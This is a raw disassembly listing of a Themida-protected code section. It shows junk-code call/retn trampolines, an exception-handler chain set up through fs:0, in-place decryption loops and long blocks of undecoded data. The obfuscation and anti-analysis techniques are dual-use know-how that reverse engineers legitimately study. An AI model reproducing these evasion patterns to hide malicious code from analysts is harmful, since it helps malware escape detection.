sub [ecx+edx+3], ah
xor [ecx+edx+2], al
pop eax
sub [ecx+edx+1], ah
xor [ecx+edx], al
sub ecx, 4
jnz short loc_597EBA
jmp short $+2
loc_597ED5: ; CODE XREF: Themida_:00597E9Dj
; Themida_:00597EB8j
mov eax, eax
push 0
push ebp
call sub_597EE2
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597EE2 proc near ; CODE XREF: Themida_:00597EDAp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_597EE2 endp
; ---------------------------------------------------------------------------
dw 0E59Bh
; ---------------------------------------------------------------------------
xchg eax, ebx
jbe short near ptr loc_597F1C+1
inc edx
jg short near ptr loc_597EFB+4
stc
loc_597EFB: ; CODE XREF: Themida_:00597EF8j
lds ecx, [ecx-57CE5E63h]
push es
mov ebx, 4DCFBC08h
cmp dword ptr [ebp+6A80BBDh], 3
jnz loc_59830E
push 0
push esi
call sub_597F1F
loc_597F1C: ; CODE XREF: Themida_:00597EF5j
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_597F1F proc near ; CODE XREF: Themida_:00597F17p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_597F1F endp
; ---------------------------------------------------------------------------
db 0E5h
dd 0EB294377h, 602798D8h, 0EFD68166h, 0BF0F6089h, 0E98166DBh
dd 61619EF2h, 0A227BD83h, 0F0006ABh, 3B984h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 0FF044ED0h, 0ABA227B5h, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1704h, 0C3514100h, 69C4B1FEh
dd 20CB81F9h, 0FF1F5A8Ch, 0A815F995h, 52006A06h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0E8327B87h, 0D59978FFh, 735BD89h, 0BF6606A8h, 0B58B17C9h
dd 6ABA21Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0B3C35646h, 106C7C8h, 6A000100h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 494EC351h
dd 0CA84F5BCh, 878FE381h, 8B6611C4h, 965096D9h, 1318D29h
dd 0B5FF06A8h, 6ABA227h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 19h, 88C35343h, 0FE256E1Fh, 9995FFEBh, 6606A821h
dd 8B7C9CBBh, 0ABA21BB5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 19229C34h
dd 41858B0Dh, 8906A80Eh, 0A81FE1B5h, 0C4868906h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h
dd 46000000h, 834FC356h, 0B2490C19h, 0C55BD89h, 958B06A8h
dd 6A805B9h, 1E999D8Bh, 0C28306A8h, 53006A04h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 39AD6CF0h
dd 44E8610Bh, 5810Fh, 0F510000h, 895FFEBFh, 9D8B2050h
dd 6A81DDDh, 0B7CE858Dh, 0BE906ABh, 7D000000h, 9FDC2628h
dd 14547AA3h, 86893E67h, 0B8h, 0B77DDB81h, 6A260Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 83C35343h, 0F164AF9Dh
dd 9E5E9DBh, 1D9D3320h, 0FF06A80Fh, 0ABA227B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 59960B18h, 664644F2h, 0EC50E781h, 1E1D95FFh, 6A06A8h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0E2F908C3h, 0D1D2E04Ah, 9D8B19A5h, 6A82BD5h, 34B750F5h
dd 66243489h, 0C445DF81h, 0A227B5FFh, 858906ABh, 6A825D9h
dd 2A6995FFh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1A0424h, 55450000h, 79A2FFC3h, 8B4C7A6Bh, 83F9FA8Ah
dd 0A82E3DBDh, 840F0006h, 0Ch, 7046BB66h, 89DF8B50h, 0D88B2434h
dd 0A227B5FFh, 6A06ABh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 0FD2A8DC3h, 0CA4B8516h, 34BD9D29h
dd 95FF06A8h, 6A83185h, 28B0F60h, 57000000h, 0FF61F85Eh
dd 0ABA227B5h, 0F59D8B06h, 0FF06A813h, 0A80F5595h, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0B316436Eh, 0D0494A65h, 81667AE5h, 8360ACEBh, 0A8077DBDh
dd 840F0206h, 41h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 3FC35242h, 353668CCh, 0D19858Bh, 858906A8h
dd 6A81EF5h, 0E90000C6h, 0Dh, 1DF81138h, 485BA135h, 9829FE73h
dd 0C185C7DEh, 6A80Dh, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 33B1C357h
dd 58D444B8h, 810F8F08h, 6, 3079BD8Bh
; ---------------------------------------------------------------------------
test al, 6
loc_59830E: ; CODE XREF: Themida_:00597F0Ej
jmp near ptr dword_5973D4+2EAh
; ---------------------------------------------------------------------------
mov ebx, [ebp+6A80765h]
mov eax, ecx
push 0
push eax
call sub_598326
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598326 proc near ; CODE XREF: Themida_:0059831Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_598326 endp
; ---------------------------------------------------------------------------
dw 0D08Dh
dd 81EBC1B9h, 0B99EE7F7h, 85858D5Bh, 6A06A833h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 2C01C351h, 89B06384h, 0A8018D85h, 25BF5006h, 8948F6BBh
dd 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
dd 53430000h, 64E25BC3h, 0EAD0883Ah, 66A3D108h, 9F8ECB81h
dd 6A006Ah, 13FDBD8Bh, 0FE8B06A8h, 0EAD5858Dh, 6A06ACh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
dd 543B39C3h, 5C083F7h, 3D43E381h, 66905FD9h, 505539BBh
dd 8A2896BBh, 6A9050h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 81C35141h, 0E51ECEDDh, 0BF6656F8h, 6A5F5B25h
dd 0A5BD2B00h, 0E906A82Fh, 0Eh, 107CF68Bh, 0E9031EC4h
dd 0D99E3C1Dh, 95FF1324h, 6A82541h, 1401BD8Bh, 8D8D06A8h
dd 6AB8C7Fh, 0FFFFBF0Fh, 9DBD83D1h, 106A833h, 94850Fh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
dd 56460000h, 909A6BC3h, 66F78105h, 6A6B4C50h, 51006A02h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
dd 0B90B51C2h, 12E990FAh, 5C000000h, 0DF2EC1B2h, 0C51A07FAh
dd 29079FA0h, 85F945A7h, 0F88B50E4h, 9D8B5190h, 6A831E9h
dd 1D95FF5Bh, 6A06A81Eh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0CC72C357h, 0F3CB44Dh
dd 30E9DABFh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
pop ebp
sub ebp, 6ACEADFh
mov bl, ah
mov [ebp+6A82AE5h], edi
lea eax, [ebp+6AB7E2Eh]
jl loc_59850D
mov edi, [ebp+6A81795h]
loc_59850D: ; CODE XREF: Themida_:00598501j
push eax
jnz loc_59851E
jg loc_59851E
mov bx, 0B39Bh
loc_59851E: ; CODE XREF: Themida_:0059850Ej
; Themida_:00598514j
mov [esp], eax
push large dword ptr fs:0
push 0
push ebx
call sub_598533
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598533 proc near ; CODE XREF: Themida_:0059852Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_598533 endp
; ---------------------------------------------------------------------------
cmpsd
mov ds:3AD26B51h, al
jbe short loc_5985AF
mov large ds:0, esp
push 0
push edi
call sub_59855C
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59855C proc near ; CODE XREF: Themida_:00598554p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_59855C endp
; ---------------------------------------------------------------------------
dd 0B7BD14FAh, 0FF1B5F73h, 0A833F185h, 0BE806h, 538F0000h
dd 0A6418DABh, 410E5CD9h, 8DBD8921h, 5F06A80Fh, 9850Fh
dd 0FC600000h, 3311BD89h, 6A6106A8h, 818D89FFh, 0FF06A831h
dd 0A816FDB5h
; ---------------------------------------------------------------------------
push es
push 0
loc_5985AF: ; CODE XREF: Themida_:00598549j
push ebp
call sub_5985B8
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5985B8 proc near ; CODE XREF: Themida_:005985B0p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5985B8 endp
; ---------------------------------------------------------------------------
dd 0E0224D9Ah, 0B2E6F37Ah, 2BB66D3h, 7D95FF6Ah, 0E906A82Ah
dd 136h, 0BB6600B0h, 70E63F8Dh, 4FB9BB66h, 39BB71E4h, 3C5BF957h
dd 1B830F61h, 0F000001h, 85h, 0FE86000h, 0DB000000h, 2246C578h
dd 0D344956Bh, 0A9BA09DFh, 8D8BAF4Dh, 6A82A01h, 0C8BF0F5Fh
dd 0C8B60F61h, 6A5BD23h, 853106A8h, 6A80FCDh, 6BAh, 6D853100h
dd 8B06A80Ch, 459D89C1h, 0C106A801h, 0FC8A04E8h, 0FE2F766h
dd 0C82BFAB7h, 97D9D8Bh, 0EE906A8h, 5E000000h, 2F0EE2D5h
dd 919141DEh, 9C404241h, 0BFD18B8Eh, 35D62B0Fh, 0A1E9h
dd 13E900h, 15230000h, 0D1D9259Bh, 0EABFF2E2h, 0A5EC56FDh
dd 69EBA836h, 44858B1Bh, 605F4C4Ch, 0EDD8E4BFh, 0D985892Fh
dd 6106A81Fh, 0EAD9D89h, 0C08306A8h, 9D8BF907h, 6A82651h
dd 0F900C083h, 830FD03Bh, 0Fh, 25258D89h, 4FE906A8h, 66000000h
dd 8B23EFBBh, 0FFFFFF8Dh, 0DE851FFh, 0D000000h, 8A7F013Fh
dd 7B110D12h, 5300B754h, 5B5F5B53h, 0F01E183h, 2584h, 83DE8B00h
dd 0FFFFFFA5h, 8E0FFEFFh, 6, 155BD8Bh, 958906A8h, 5F4C4C44h
dd 88C78166h, 0E90Ah, 0B58D0000h, 6AC608Fh, 1840Fh, 0FF80000h
dd 6AF8B7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 9EC35040h, 0EC472DECh, 0BF49A384h, 1DBF663Bh, 3195FF45h
dd 6606A81Bh, 0B94377BFh, 0F23h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 0C0C35242h, 3136C789h, 0A81009BDh
dd 0FCE18306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 0A6C35242h, 6E406420h, 8919B7BFh, 12E922h, 7B110000h
dd 5300B754h, 0CBB785CAh, 0CFFFD56Dh, 2453BA7Bh, 6AC02BFCh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h
dd 40000000h, 9C5DC350h, 6BC764F5h, 0E9701A38h, 0Eh, 0E83361C4h
dd 8CF4C4B6h, 1892EEE4h, 0D22BFACFh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 65C35545h, 983655A5h, 0F798D89h
dd 9D8B06A8h, 6A82B85h, 0D1C233ADh, 83D003E8h, 0F47504E9h
dd 0C1852957h, 5F06A82Bh, 0DF98B66h, 88h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 16h, 9C35747h, 0BF0FE6C9h
dd 9D9D29FEh, 0E906A819h, 13h, 68857546h, 0EDA83839h, 65687135h
dd 0EB58CD91h, 8B36B3F9h, 0A805B995h, 0F9BF0F06h, 14698D8Bh
dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 0F9CB93C3h, 0F8C5A2D3h, 8B5007F1h, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 20D99509h, 0BD8306A8h
dd 6A80C91h, 75840F00h, 0F000000h, 387h, 0F98B6600h, 0C99D8B51h
dd 5B06A80Ch, 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1904h, 0C3514100h, 8C52AB02h, 9D8BF20Ah
dd 6A830E5h, 4FAF8D8Dh, 6A06A8h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 170424h, 55450000h, 13CAEC3h, 0EB8166DEh
dd 9D8B0FDEh, 6A81F71h, 0C381E1FFh, 3A218825h, 0BBDBD83h
dd 0F0006A8h, 42584h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 4C4C35F6h, 0B9D2D8D5h
dd 0F9BD8B53h, 8306A833h, 0A80BBDBDh, 840F0106h, 409h
dd 26D9D8Bh, 0BD8306A8h, 6A80BBDh, 0C0860F03h, 6A000003h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 0F202C350h, 0D34E799Fh, 0C5958909h, 6006A80Ch
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 95C35242h
dd 45D8AE03h, 896034B4h, 0A80721BDh, 85336006h, 6A80D05h
dd 8E0Fh, 61610000h, 80D98C66h, 0E18088C3h, 0DD9D8B04h
dd 0F806A819h, 840FC90Ah, 169h, 12E9A9B3h, 12000000h, 176B94A6h
dd 5610DEDCh, 93010B99h, 8CA09C12h, 0E1858BF0h, 6A06A80Bh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 7FDCC353h, 5D85333Fh, 0E906A81Dh, 0Bh, 0E17062ACh
dd 44F57C71h, 50B8DD33h, 489DF8Bh, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 306B5F43h
dd 18DAE269h, 0B11BD8Bh, 6A06A8h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 0FFC35343h, 2A4A4C8Bh, 0D08E3F94h
dd 8F0F70h, 0F000000h, 4E8DBBFh, 0FF000000h, 52001F03h
dd 5FFB8B66h, 24448B50h, 0F525004h, 5E931h, 6B00000h, 5A9AE318h
dd 60008B58h, 0BB616060h, 15EE3E1Eh, 44896161h, 6A580424h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 0DA2EC356h, 4195FF5Ch, 2306A807h, 0A82B0DBDh
dd 27858906h, 5106ABA2h, 0FE9h, 0B116C100h, 13A84EECh
dd 13A289B5h, 8D5D1177h, 16DE95Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 9DBA65C3h
dd 53C4F3C0h, 0FE98Eh, 0A3AA0000h, 4CCFFAD7h, 3E56BFCEh
dd 0F9581BE8h, 1F858B12h, 0E806ABA2h, 0Ah, 0FDB59FDEh
dd 0C8C66AC7h, 9D8BB807h, 6A81C09h, 1800C75Bh, 0F000000h
dd 682h, 0D9D8B00h, 6606A832h, 0B58BDA8Bh, 6ABA223h, 23F9B70Fh
dd 0A807B1BDh, 7D858B06h, 0F06A82Bh, 82h, 8B068900h, 0E1858BFEh
dd 0F506A80Bh, 0E8044689h, 0Dh, 73A36620h, 36B68AEBh, 79C8D8BBh
dd 0D88B66F1h, 0A1BD035Bh, 9606A81Ah, 96505F52h, 0A21FB5FFh
dd 6A06ABh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
dd 52420000h, 85B121C3h, 0FBBDF06Ch, 6824C466h, 0F1E9CCA4h
dd 81FA8B66h, 375B2404h, 0D2BF0E35h, 8D0CEE4Eh, 0ABA22785h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h
dd 0C3564600h, 90A2491Ch, 90D88B50h, 1EB59D8Bh, 52BF06A8h
dd 0FF386F6Eh, 0A8074195h, 52006A06h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0DC7A5BCBh
dd 0A9831F93h, 6692BB66h, 6E8h, 0F9F5800h, 0E93D4855h
dd 0Ah, 7EB23363h, 4CE6E584h, 615FFDD7h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 17h, 0BFC35646h, 8B9C6A85h
dd 0A808399Dh, 0BD85C706h, 306A80Bh, 89000000h, 0A821218Dh
dd 27BD8306h, 6ABA2h, 65840Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 64AAD5C3h
dd 9D164542h, 0BD8B0004h, 6A81631h, 5465EF81h, 4BE948E6h
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1C042444h, 41000000h, 0FE73C351h, 74DE9829h, 29AC8B9Fh
dd 0A82D8185h, 0B1BD8B06h, 5006A807h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 0BF66C08Bh, 8589B93Bh
dd 6A826C1h
dd 6C99D8Bh, 14E906A8h, 62000000h, 45B2B821h, 0B6FC9B06h
dd 3D0352C0h, 4B78B14Ah, 8352189Fh, 0A80BBDBDh, 850F0306h
dd 3F5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 0E5C35747h, 83E57DE5h, 0ABA227BDh, 840F0006h, 3C9h
dd 27B5FFF9h, 6A06ABA2h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 15042444h, 42000000h, 8383C352h, 15F995FFh
dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
dd 51410000h, 0F21650C3h, 1BB58B4Bh, 0F06ABA2h, 28Dh, 0C7F98B00h
dd 1000106h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 0ADD78001h, 4850Fh, 0BB660000h, 0BB96C048h
dd 21CBD5D9h, 8F0F6050h, 0
; ---------------------------------------------------------------------------
jmp loc_598ECD
; ---------------------------------------------------------------------------
db 30h, 0FDh, 0D4h
dd 61626FD3h
; ---------------------------------------------------------------------------
and ebp, edi
loc_598EC2: ; CODE XREF: Themida_:00598EC9j
sbb ebx, [edi]
wait
cmpsd
pop ss
cmp dh, ah
jns short loc_598EC2
; ---------------------------------------------------------------------------
db 74h
db 0C6h
; ---------------------------------------------------------------------------
loc_598ECD: ; CODE XREF: Themida_:00598EB4j
popa
xchg eax, esi
push 0
push esi
call sub_598EDA
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598EDA proc near ; CODE XREF: Themida_:00598ED2p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_598EDA endp
; ---------------------------------------------------------------------------
inc eax
or [edi-4976BEDAh], al
stosd
inc esi
add [ebp+6A82899h], ecx
mov edi, 0E149214h
push dword ptr [ebp+6ABA227h]
or [ebp+6A83279h], eax
mov ebx, [ebp+6A81019h]
call dword ptr [ebp+6A82199h]
push 0
push ecx
call sub_598F21
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598F21 proc near ; CODE XREF: Themida_:00598F19p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 19h
inc ecx
push ecx
retn
sub_598F21 endp
; ---------------------------------------------------------------------------
db 97h, 7Dh, 0AFh
; ---------------------------------------------------------------------------
les ebx, [edi-1Eh]
mov esi, [ebp+6ABA21Bh]
push 0
push eax
call sub_598F48
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598F48 proc near ; CODE XREF: Themida_:00598F40p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_598F48 endp
; ---------------------------------------------------------------------------
dec eax
mov ch, 8Bh
test [ecx+0Eh], eax
test al, 6
push 0
push edi
call sub_598F6B
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598F6B proc near ; CODE XREF: Themida_:00598F63p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_598F6B endp
; ---------------------------------------------------------------------------
add eax, 61BE4094h
movsd
imul ecx, ds:85896056h, 6A83351h
mov [ebp+6A834C9h], esi
popa
mov [esi+0C4h], eax
mov [ebp+6A828A5h], edi
mov edx, [ebp+6A805B9h]
push 0
push esi
call sub_598FAF
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_598FAF proc near ; CODE XREF: Themida_:00598FA7p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_598FAF endp
; ---------------------------------------------------------------------------
db 0E3h
dd 83FBBF0Fh, 7E804C2h, 89000000h, 0F9D97DB1h, 8589CE61h
dd 6A819DDh, 2050895Fh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0F6C35343h, 56B0702Bh, 816630F9h, 8A90A7EBh
dd 0CE858DFDh, 6A06ABB7h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 318EC351h, 8960F90Bh
dd 0A82E41B5h, 0D952906h, 6106A814h, 0B88689h, 6A0000h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 67C35747h
dd 1C83A408h, 0A227B5FFh, 8B5706ABh, 0A82B2DBDh, 95FF5F06h
dd 6A81E1Dh, 25E5BD8Bh, 665006A8h, 3489FA8Bh, 0FB8B6624h
dd 0A227B5FFh, 8E0F06ABh, 3, 0F8DDB80h, 95FFD9B7h, 6A82A69h
dd 8F0Fh, 0BD830000h, 6A82E3Dh, 38840F00h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 31ADC351h, 0DE40F4E8h, 8B993B2Ch, 0A829E5BDh, 0BF665006h
dd 34899A90h, 55BD3324h, 0FF06A801h, 0ABA227B5h, 0B19D3106h
dd 0FF06A829h, 0A8318595h, 6880F06h, 89000000h, 0A809B9B5h
dd 27B5FF06h, 8B06ABA2h, 0A80CA9BDh, 5595FF06h, 6A06A80Fh
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h
dd 45000000h, 9A61C355h, 0CE145DCEh, 14E933F7h, 16000000h
dd 0C39EE607h, 0F444D837h, 3722DA0Ch, 5AFA2841h, 66CBFDD1h
dd 83628EBBh, 0A8077DBDh, 840F0206h, 59h, 605BD8Bh, 858B06A8h
dd 6A80D19h, 9E9h, 0FFDEA500h, 0E4A9035Eh, 0C6E235h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 0F0CFEECBh, 0EAFA5806h, 0B1B5896Ah, 0F06A815h, 68Bh
dd 11958900h, 8B06A833h, 0A80F799Dh, 0C185C706h, 6A80Dh
dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 48CBC351h, 6F82B9C3h, 0F3B1E97Bh
dd 8DB7FFFFh, 6AC18Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 170424h, 57470000h, 889B72C3h, 61BD8BABh, 8D06A822h
dd 0A8338585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1404h, 0C3524200h, 399D8B82h, 9006A80Bh
dd 0BE9h, 278D8900h, 0EACA1638h, 33E9615Ah, 9023B350h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 6DC35343h
dd 6A8A08h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 18h, 0C3C35646h, 0DD21C14Fh, 8166006Ah, 8D255CEFh, 0ACFA1B85h
dd 2CAABF06h, 0C0830BD4h, 0B70F6005h, 3DB58BFAh, 6106A809h
dd 12E9h, 0D6B4AF00h, 8B855624h, 0EF3886B2h, 0D1EEF56Eh
dd 50F12AA9h, 8BBDB160h, 48961FBh, 57006A24h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 2685D34Ah
dd 5890Fh, 81660000h, 6A3F4DF7h, 559D8900h, 6A06A82Ah
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 242BBAA3h, 9D319F55h, 6A80591h, 2AC5B589h
dd 95FF06A8h, 6A82541h, 14E9h, 81E1E000h, 127FD9DBh, 3044D4D0h
dd 2559C328h, 6E5095EFh, 7F8D8D90h, 6A06AB8Ch, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
dd 0A4FEC355h, 0FFB2F629h, 0D19D8BD1h, 8306A827h, 0A8339DBDh
dd 850F0106h, 98h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 8CC35343h, 0F781668Fh, 26AEDF8h, 0FB8B6656h
dd 0FABF905Fh, 5030A2A2h, 6A90DF8Bh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 49A8C356h
dd 8344C586h, 0F8E0F7Ch, 0E9000000h, 0Ah, 0E6D034AAh, 0DA292001h
dd 95FFEF1Dh, 6A81E1Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 0FEC35545h, 86D014EFh, 9D8BF96Eh, 6A820E1h
dd 0E88E9h, 0E800h, 815D0000h, 0ACFA25EDh, 50006A06h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
dd 0DF8BB5DBh, 9290F4BBh, 2E858D6Fh, 8B06AB7Eh, 0A8028DBDh
dd 52505006h, 0BF60310Fh, 3A3EF0FAh, 2432BA66h, 89585A61h
dd 85092404h, 6A80DF9h, 35FF64h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 0D009C350h
dd 0C7802025h, 25896499h, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5994BF
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5994BF proc near ; CODE XREF: Themida_:005994B7p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 16h
inc edi
push edi
retn
sub_5994BF endp
; ---------------------------------------------------------------------------
db 62h
; ---------------------------------------------------------------------------
push esi
mov ebx, 0D09BD8Bh
test al, 6
inc dword ptr [ebp+6A833F1h]
push 0
push ecx
call sub_5994E9
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5994E9 proc near ; CODE XREF: Themida_:005994E1p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Bh
inc ecx
push ecx
retn
sub_5994E9 endp
; ---------------------------------------------------------------------------
push edi
add [ebx], dh
pop ecx
xor eax, 57E1B1C5h
mov di, si
pop edi
mov bx, cx
push 0FFFFFFFFh
push 0
push eax
call sub_599516
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_599516 proc near ; CODE XREF: Themida_:0059950Ep
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_599516 endp
; ---------------------------------------------------------------------------
xchg eax, esi
sbb edi, [esi+33h]
call fword ptr [ebp-207E654Dh]
imul edx, [ecx+edi*8+1], 2111B5FFh
test al, 6
push 0
push eax
call sub_599545
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_599545 proc near ; CODE XREF: Themida_:0059953Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_599545 endp
; ---------------------------------------------------------------------------
db 0ABh, 0E8h, 0FEh
; ---------------------------------------------------------------------------
mov al, 34h
call dword ptr [ebp+6A82A7Dh]
jmp loc_5996B2
; ---------------------------------------------------------------------------
db 29h, 95h, 4Dh
dd 0BF06A80Eh, 676072B8h, 0BD8B00B0h, 6A829F1h, 0BB6670E6h
dd 71E427C1h, 80DBADBFh, 0F613C0Eh, 12583h, 14E800h, 0CA800000h
dd 82B7F6D4h, 0B19A328Dh, 11271CA8h, 5E3F64EDh, 840F77C3h
dd 3, 5FDCC380h, 0BFC8B60Fh, 737683D3h, 6BAh, 4DBD0900h
